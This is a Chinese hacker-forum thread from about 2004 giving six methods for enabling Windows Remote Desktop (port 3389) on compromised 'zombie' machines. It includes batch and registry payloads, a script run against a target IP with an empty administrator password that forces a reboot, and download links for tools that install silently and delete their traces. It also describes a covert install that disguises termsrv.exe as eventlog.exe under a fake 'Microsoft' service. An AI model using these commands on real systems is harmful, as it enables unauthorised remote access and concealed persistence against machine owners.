|
作者: ljsh012 [ljsh012] 论坛用户 | 登录 |
开启3389端口的六种方法 1,打开记事本,编辑内容如下: echo [Components] > c:\sql echo TSEnable = on >> c:\sql sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q 编辑好后存为BAT文件,上传至肉鸡,执行。这里值得注意的是要确定winnt是否在c盘,如果在其他盘则需要改动。 2 (对xp\2000都有效) 脚本文件 本地开3389 工具:rots1.05 地址:netsill.com/rots.zip 使用方法: 在命令行方式下使用windows自带的脚本宿主程序cscript.exe调用脚本,例如: c:\>cscript ROTS.vbs <目标IP> <用户名> <密码> [服务端口] [自动重起选项] 服务端口: 设置终端服务的服务端口。默认是3389。 自动重起选项: 使用/r表示安装完成后自动重起目标使设置生效。 使用/fr表示强制重起目标。(如果/r不行,可以试试这个) 使用此参数时,端口设置不能忽略。 比如扫描到了一个有NT弱口令的服务器,IP地址是222.222.222.222,管理员帐户是administrator,密码为空 运行CMD(2000下的DOS),我们给它开终端! 命令如下! cscript reg.vbe 222.222.222.222 administrator "" 3389 /fr 上面的命令应该可以理解吧?cscript reg.vbe这是命令,后面的是IP,然后是管理员帐户,接这是密码,因为222.222.222.222 这台服务器的管理员密码是空的,那就用双引号表示为空,再后面是端口,你可以任意设置终端的端口,/fr是重启命令(强制重启,一般我都用这个,你也可以/r,这是普通重启) 脚本会判断目标系统类型,如果不是server及以上版本,就会提示你是否要取消。 因为pro版不能安装终端服务。 如果你确信脚本判断错误,就继续安装好了。 如果要对本地使用,IP地址为127.0.0.1或者一个点(用.表示),用户名和密码都为空(用""表示)。 脚本访问的目标的135端口,如果目标135端口未开放,或者WMI服务关闭,那么脚本就没用了。 3,下载3389自动安装程序-djshao正式版5.0 地netsill.com/djshao.zip 说明: 解压djshao5.0.zip,用你的随便什么方法把把解压出来的djxyxs.exe上传到肉鸡的c:\winnt\temp下,然后进入c:\winnt\temp目录执行djxyxs.exe解压缩文件,然后再执行解压缩出来的azzd.exe文件,等一会肉鸡会自动重启!重启后会出现终端服务! 特点:1、不用修改注册表的安装路径,注册表会自动修改,安装完后会自动恢复到原来的安装路径,2、在后台安静模式运行,就算肉鸡旁有人也没有关系!3、在添加和删除中看不出终端服务被安装的痕迹,也就是启动终端前不会打钩,4、不会在肉鸡上留下你的上传文件,在安装完终端服务后会会自动删除你上传到c:\winnt\temp下的任何文件!5、不管肉鸡的winnt装在什么盘上都无所谓!6、安装完终端后会删除在管理工具中的终端快捷图标!7、在没有安装终端前,终端服务是被禁止的!安装终端后,终端服务被改为自动!但是如果在安装前终端服务是手动!安装后就可能还是手动!等重启后就不会打开服务!所以在软件中加了sc指令,等安装完后,不管终端服务是禁止还是手动还是自动,全部改为自动。8、自动检测肉鸡是不是服务器版,如果不是删除原文件,不执行安装,如果是服务器版就执行安装!9、支持中日韩繁四个版本的win2000服务器版! 5,下载DameWare NT Utilities 3.66.0.0 注册版 地netsill.com/dwmrcw36600.zip 安装注册完毕后输入对方IP用户名密码,等待出现是否安装的对话框点是。 复制启动后出现对方桌面。 在对方桌面进入控制面版,点添加或删除程序。进入后点添加/删除windows组件,找到终端服务,点际进入后在启动终端服务上打上勾。确定自动提示重起,重起后OK。 6.由此,更简单的..... 1.使用对方的tlntsvr服务,telnet上去。 2.type c:\boot.ini //获取对方具体的版本信息,不是Server版本的,放弃!(还是很准的 ,一般不会改,要是发现里面的内容很奇怪,小心了哦!) 3.query user /【动作】 wzg79 抓了抓脑袋道:小CASE啦~这么简单的问题谁不会呀? 的判断对方是否已经安装termservice。 4.copy con term.reg //复制上面的文本内容,并以^Z(ctrl+z)结束。 5.regedit /s term.reg //导入注册表。 6.echo . > term.reg del term.reg //重要 7.iisreset /reboot /timeout:00 //利用iis组件里的一个工具,从新启动系统,使其生效 。 ---------------------------------------- 也谈3398的安装(3398终结篇) idiot 一.原理性基本安装 1.将如下注册表键值导入 "肉机" 的注册表中: ------------- Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] "Enabled"="0" [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] "ShutdownWithoutLogon"="0" [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] "EnableAdminTSRemote"=dword:00000001 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] "TSEnabled"=dword:00000001 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] "Start"=dword:00000002 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] "Start"=dword:00000002 [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] "Hotkey"="1" ----------- 2.重新起动"肉机"。 3.使用本地的3398客户端,连接 "肉机" . 4.优(缺)点: A."肉机"中 "控制面板-->添加/删除程序-->添加/删除 Windows 组件-->终端服务" 仍然处 于未安装状态. B."肉机"中 "开始-->程序-->管理工具" 没有任何变动. C."肉机"中 "开始-->程序-->管理工具-->服务-->Terminal Services" 变为 "已起动" 和" 自动". D."肉机"中 "Windows 任务管理器-->进程" 内,增加 "Termsrv.exe". 5.与"sysocmgr /iysoc.inf /u:u.txt /q" 的比较: A."肉机"中 "控制面板-->添加/删除程序-->添加/删除 Windows 组件-->终端服务" 处于已 安装状态. B."肉机"中 "开始-->程序-->管理工具" 增加 "终端服务管理器","终端服务配置" 和 "终端 服务客户端生成器". C."肉机"中 "开始-->程序-->管理工具-->服务-->Terminal Services" 变为 "已起动" 和" 自动". D."肉机"中 "Windows 任务管理器-->进程" 内,增加 "Termsrv.exe". E.需要拷贝几兆的文件到"肉机"中. 二.抛砖引玉性"隐蔽"安装: 1.将"肉机"中 "c:\winnt\system32\termsrv.exe" 文件作一备份,命名为"eventlog.exe",仍 将其放入目录 "c:\winnt\system32\" 2.将如下注册表键值导入 "肉机" 的注册表中: ------------ Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] "Enabled"="0" [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] "ShutdownWithoutLogon"="0" [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] "EnableAdminTSRemote"=dword:00000001 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] "TSEnabled"=dword:00000001 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] "Start"=dword:00000002 [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] "Hotkey"="1" [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] "Start"=dword:00000002 "ErrorControl"=dword:00000001 "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 "ObjectName"="LocalSystem" "Type"=dword:00000010 "Description"="Microsoft" "DisplayName"="Microsoft" --------------- 3.重新起动"肉机"。 4.使用本地的3398客户端,连接“肉机”。 5.优(缺)点: A."肉机"中 "控制面板-->添加/删除程序-->添加/删除 Windows 组件-->终端服务" 仍然处 于未安装状态. B."肉机"中 "开始-->程序-->管理工具" 没有任何变动. C."肉机"中 "开始-->程序-->管理工具-->服务-->Terminal Services" 没有变化,保持原始 状态. D."肉机"中 "开始-->程序-->管理工具-->服务" 增加 "Microsoft" E."肉机"中 "Windows 任务管理器-->进程" 内,增加 "eventlog.exe". 三.理论简介 如此简单? 只修改注册表? 不需要拷贝W2k源文件? 让我们从一条命令行语句说起,这条语句是: "sysocmgr /iysoc.inf /u:u.txt /q" . 其中 u.txt 如下: ------------- [Components] TsEnable = on ------------- 首先认识 "sysoc.inf"."sysoc.inf" 是安装信息文件,位于 "c:\winnt\inf". 打开它,在 " [Components]" 节,找到与 "终端服务" 有关的条目: "TerminalServices=TsOc.dll, HydraOc, TsOc.inf,,2" 这里引出另外一个安装信息文件: "TsOc.inf". 这个文件同样位于 "c:\winnt\inf". 打开这个文件,你会发现,如同 windows 环境下的软件安装, "终端服务" 的安装, 也主要由 三个部分: 拷贝源文件,注册 DLL 以及修改注册表. 在 [TerminalServices.FreshInstall] 节 和 "File Sections" 部分,你会发现 "终端服务 " 所需的系统文件,DLL 和驱动, 随同 W2k 的初始安装,都已安然就位. 为什么 "终端服务" 的常规安装和命令行安装都需要拷贝W2k源文件? 事实上,所拷贝的是"终 端服务"客户端软件,既 "开始-->程序-->管理工具-->终端服务客户端生成器" 生成客户软盘 需要的文件. 各位 "黑友" 提供的包或工具,里面包括的W2k源文件,都是 "tsc32" 打头的. 关连 "TsOc.i nf" 的 "File Sections" 部分和另外一个文件 "c:\winnt\inf\layout.inf",你将会得到证 实. "终端服务"的安装,需要注册俩个 "DLL". 这俩个 "DLL" 同样早早就住在系统里,想必它们一 定也有了身份证. "TsOc.inf" 文件一半的内容是关于修改注册表. 但"终端服务" 需要的"Reg.AddToFreshIns tall, Reg.AddTo50, Reg.AddTo40" 都是在系统安装时注册过的. 我们回头看一下那个命令行语句, "/u:" 参数后面的无人职守安装信息文件 "u.txt". "TsE nable = on" ? "TsOc.inf" 文件 [Optional Components] 节中有三个选项, "TerminalServices", "TSEna ble" ,"TSClients". "TerminalServices" 如上所述,在系统初始安装时,已经就序. "TSClients" 与 "终端服务" 没有直接的关系. 我们在 "TsOc.inf" 找到 "[TsEnable]" 节. 此节中有用的信息只有一条 "ToggleOnSectio n = TerminalServices.ToggleOn". 再转到 [TerminalServices.ToggleOn] 节. [TerminalServices.ToggleOn] 节告诉我们,下一站是 "Reg.ToggleOn", 沿着这个线索,我们 来到 [Reg.ToggleOn], 你看到什么? |
地主 发表时间: 04-03-12 00:26 |
回复: thomas [thomas] 论坛用户 | 登录 |
以前草哲写过开放3389服务的脚本。。。你好好找找。 |
B1层 发表时间: 04-03-12 12:03 |
回复: newmyth21 [newmyth21] 论坛用户 | 登录 |
有点老,不过这里是鸟笼,偶就来灌一灌吧 |
B2层 发表时间: 04-03-12 12:08 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号